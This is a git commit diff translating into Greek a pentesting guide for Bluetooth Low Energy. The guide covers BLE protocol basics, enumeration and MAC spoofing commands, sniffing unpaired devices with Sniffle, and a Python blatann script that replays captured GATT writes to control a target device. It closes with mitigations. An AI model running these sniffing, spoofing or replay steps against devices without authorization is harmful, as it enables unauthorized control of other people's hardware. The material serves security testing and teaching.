Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene

This commit is contained in:
Translator 2025-08-28 14:36:59 +00:00
parent 751800a42b
commit 92a5cd1b05

View File

@ -4,21 +4,21 @@
## Εισαγωγή
Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας τη συχνότητα από 2400 έως 2483.5 MHz. Σε αντίθεση, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στην ίδια περιοχή.
Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας το εύρος 2400 έως 2483.5 MHz. Αντίθετα, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στο ίδιο εύρος.
Οι συσκευές BLE επικοινωνούν στέλνοντας **διαφημιστικά πακέτα** (**beacons**), αυτά τα πακέτα διαφημίζουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτά τα beacons μερικές φορές **στέλνουν δεδομένα** επίσης.
Οι συσκευές BLE επικοινωνούν στέλνοντας **advertising packets** (**beacons**). Αυτά τα πακέτα αναμεταδίδουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτά τα beacons μερικές φορές επίσης **στέλνουν δεδομένα**.
Η συσκευή που ακούει, που ονομάζεται επίσης κεντρική συσκευή, μπορεί να απαντήσει σε ένα διαφημιστικό πακέτο με ένα **αίτημα SCAN** που αποστέλλεται ειδικά στη διαφημιστική συσκευή. Η **απάντηση** σε αυτή την σάρωση χρησιμοποιεί την ίδια δομή με το **διαφημιστικό** πακέτο με επιπλέον πληροφορίες που δεν μπορούσαν να χωρέσουν στην αρχική διαφημιστική αίτηση, όπως το πλήρες όνομα της συσκευής.
Η συσκευή που ακούει, επίσης ονομαζόμενη central device, μπορεί να ανταποκριθεί σε ένα advertising packet με ένα **SCAN request** που αποστέλλεται ειδικά στη διαφημιζόμενη συσκευή. Η **response** σε αυτή τη σάρωση χρησιμοποιεί την ίδια δομή με το **advertising** packet, με επιπλέον πληροφορίες που δεν χωρούσαν στο αρχικό advertising request, όπως το πλήρες όνομα της συσκευής.
![](<../../images/image (152).png>)
Ο προοίμιος byte συγχρονίζει τη συχνότητα, ενώ η διεύθυνση πρόσβασης τεσσάρων byte είναι ένας **αναγνωριστικός αριθμός σύνδεσης**, ο οποίος χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να δημιουργήσουν συνδέσεις στα ίδια κανάλια. Στη συνέχεια, η Μονάδα Δεδομένων Πρωτοκόλλου (**PDU**) περιέχει τα **διαφημιστικά δεδομένα**. Υπάρχουν αρκετοί τύποι PDU; οι πιο συχνά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU **ADV_NONCONN_IND** αν **δεν δέχονται συνδέσεις**, μεταδίδοντας δεδομένα μόνο στο διαφημιστικό πακέτο. Οι συσκευές χρησιμοποιούν **ADV_IND** αν **επιτρέπουν συνδέσεις** και **σταματούν να στέλνουν διαφημιστικά** πακέτα μόλις έχει **δημιουργηθεί** μια **σύνδεση**.
Το byte του preamble συγχρονίζει τη συχνότητα, ενώ η τετρα-μπαϊτ διεύθυνση πρόσβασης είναι ένας **connection identifier**, ο οποίος χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να δημιουργήσουν connections στα ίδια κανάλια. Στη συνέχεια, το Protocol Data Unit (**PDU**) περιέχει τα **advertising data**. Υπάρχουν διάφοροι τύποι PDU· οι πιο συχνά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU **ADV_NONCONN_IND** εάν δεν δέχονται connections, μεταδίδοντας δεδομένα μόνο στο advertising packet. Οι συσκευές χρησιμοποιούν **ADV_IND** εάν επιτρέπουν connections και σταματούν να στέλνουν advertising packets μόλις μια connection έχει εγκατασταθεί.
### GATT
Το **Generic Attribute Profile** (GATT) καθορίζει πώς η **συσκευή θα πρέπει να μορφοποιεί και να μεταφέρει δεδομένα**. Όταν αναλύετε την επιφάνεια επίθεσης μιας συσκευής BLE, συχνά θα εστιάσετε την προσοχή σας στο GATT (ή GATTs), επειδή είναι ο τρόπος με τον οποίο **ενεργοποιείται η λειτουργικότητα της συσκευής** και πώς αποθηκεύονται, ομαδοποιούνται και τροποποιούνται τα δεδομένα. Το GATT καταγράφει τα χαρακτηριστικά, τους περιγραφείς και τις υπηρεσίες μιας συσκευής σε έναν πίνακα ως τιμές 16 ή 32 bit. Ένα **χαρακτηριστικό** είναι μια **τιμή δεδομένων** που **στέλνεται** μεταξύ της κεντρικής συσκευής και της περιφερειακής. Αυτά τα χαρακτηριστικά μπορούν να έχουν **περιγραφείς** που **παρέχουν επιπλέον πληροφορίες σχετικά με αυτά**. Τα **χαρακτηριστικά** συχνά **ομαδοποιούνται** σε **υπηρεσίες** αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας.
Το **Generic Attribute Profile** (GATT) ορίζει πώς η **συσκευή θα πρέπει να μορφοποιεί και να μεταφέρει δεδομένα**. Όταν αναλύετε την attack surface μιας συσκευής BLE, συχνά εστιάζετε την προσοχή σας στο GATT (ή στα GATTs), επειδή είναι ο τρόπος με τον οποίο **ενεργοποιείται η λειτουργικότητα της συσκευής** και πώς τα δεδομένα αποθηκεύονται, ομαδοποιούνται και τροποποιούνται. Το GATT απαριθμεί τα characteristics, descriptors και services μιας συσκευής σε έναν πίνακα ως τιμές 16- ή 32-bit. Ένα **characteristic** είναι μια **τιμή δεδομένων** που **αποστέλλεται** μεταξύ του central device και του peripheral. Αυτά τα characteristics μπορούν να έχουν **descriptors** που **παρέχουν επιπλέον πληροφορίες γι' αυτά**. Τα **characteristics** συχνά **ομαδοποιούνται** σε **services** αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας.
## Αρίθμηση
## Enumeration
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** επιτρέπει την **εγκαθίδρυση** μιας **σύνδεσης** με μια άλλη συσκευή, καταγράφοντας τα **χαρακτηριστικά** της συσκευής αυτής, και διαβάζοντας και γράφοντας τις ιδιότητές της.\
GATTTool μπορεί να εκκινήσει ένα διαδραστικό shell με την επιλογή `-I`:
**GATTool** επιτρέπει να **εγκαθιδρύσει** μια **σύνδεση** με άλλη συσκευή, να απαριθμήσει τα **χαρακτηριστικά** της συσκευής και να διαβάσει και να γράψει τις ιδιότητές της.\
GATTTool μπορεί να ξεκινήσει ένα διαδραστικό shell με την επιλογή `-I`:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing και ενεργός έλεγχος μη-ζευγοποιημένων συσκευών BLE
Πολλές περιφερειακές συσκευές BLE χαμηλού κόστους δεν εφαρμόζουν pairing/bonding. Χωρίς bonding, το Link Layer encryption δεν ενεργοποιείται ποτέ, οπότε η ATT/GATT κίνηση είναι σε cleartext. Ένας off-path sniffer μπορεί να παρακολουθήσει τη σύνδεση, να αποκωδικοποιήσει τις GATT operations για να μάθει τα characteristic handles και values, και οποιοσδήποτε κοντινός host μπορεί στη συνέχεια να συνδεθεί και να replay-άρει αυτά τα writes για να ελέγξει τη συσκευή.
### Sniffing with Sniffle (CC26x2/CC1352)
Υλικό: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) επαναπρογραμματισμένο με το Sniffle firmware της NCC Group.
Install Sniffle and its Wireshark extcap on Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Flash Sonoff with Sniffle firmware (βεβαιώσου ότι η σειριακή σου συσκευή ταιριάζει, π.χ. /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Καταγράψτε στο Wireshark μέσω του Sniffle extcap και μεταβείτε γρήγορα σε εγγραφές που αλλάζουν κατάσταση φιλτράροντας:
```text
_ws.col.info contains "Sent Write Command"
```
Αυτό επισημαίνει τα ATT Write Commands από τον client; το handle και το value συχνά αντιστοιχούν άμεσα σε ενέργειες της συσκευής (π.χ., write 0x01 σε ένα buzzer/alert characteristic, 0x00 για διακοπή).
Γρήγορα παραδείγματα Sniffle CLI:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Εναλλακτικό sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin λειτουργεί επίσης. Σε μικρά/φθηνά Nordic dongles συνήθως overwrite το USB bootloader για να φορτώσετε το sniffer firmware, οπότε είτε κρατάτε ένα αποκλειστικό sniffer dongle είτε χρειάζεστε J-Link/JTAG για να επαναφέρετε το bootloader αργότερα.
### Ενεργός έλεγχος μέσω GATT
Μόλις εντοπίσετε ένα writable characteristic handle και value από την sniffed traffic, συνδεθείτε ως οποιοδήποτε central και εκτελέστε το ίδιο write:
- Με Nordic nRF Connect for Desktop (BLE app):
- Επιλέξτε το nRF52/nRF52840 dongle, scan και connect στον στόχο.
- Περιηγηθείτε στη GATT database, εντοπίστε το target characteristic (συχνά έχει φιλικό όνομα, π.χ., Alert Level).
- Εκτελέστε ένα Write με τα sniffed bytes (π.χ., 01 για trigger, 00 για stop).
- Αυτοματοποιήστε σε Windows με ένα Nordic dongle χρησιμοποιώντας Python + blatann:
```python
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Λειτουργικές σημειώσεις και μετριασμοί
- Προτιμήστε Sonoff+Sniffle σε Linux για αξιόπιστη εναλλαγή καναλιών και παρακολούθηση σύνδεσης. Κρατήστε έναν επιπλέον Nordic sniffer ως εφεδρεία.
- Χωρίς pairing/bonding, οποιοσδήποτε κοντινός επιτιθέμενος μπορεί να παρατηρήσει εγγραφές και να αναπαράγει/δημιουργήσει δικές του προς μη-επαληθευμένα εγγράψιμα characteristics.
- Μέτρα μετριασμού: απαιτήστε pairing/bonding και επιβάλετε κρυπτογράφηση; ορίστε δικαιώματα characteristics ώστε να απαιτούν authenticated writes; ελαχιστοποιήστε μη-επαληθευμένα εγγράψιμα characteristics; επαληθεύστε τα GATT ACLs με Sniffle/nRF Connect.
## Αναφορές
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
{{#include ../../banners/hacktricks-training.md}}